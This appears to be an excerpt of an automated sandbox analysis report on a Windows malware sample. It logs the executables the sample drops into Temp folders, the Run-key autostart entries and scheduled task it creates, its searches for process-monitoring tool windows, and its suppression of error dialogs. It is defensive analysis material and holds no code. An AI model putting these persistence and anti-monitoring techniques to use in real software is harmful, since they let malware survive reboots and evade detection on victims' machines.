Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File created: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	File created: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bd214fbd32.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8138ba21a1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 136916b3ff.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8138ba21a1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8138ba21a1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bd214fbd32.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bd214fbd32.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 136916b3ff.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 136916b3ff.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	Process information set: NOOPENFILEERRORBOX
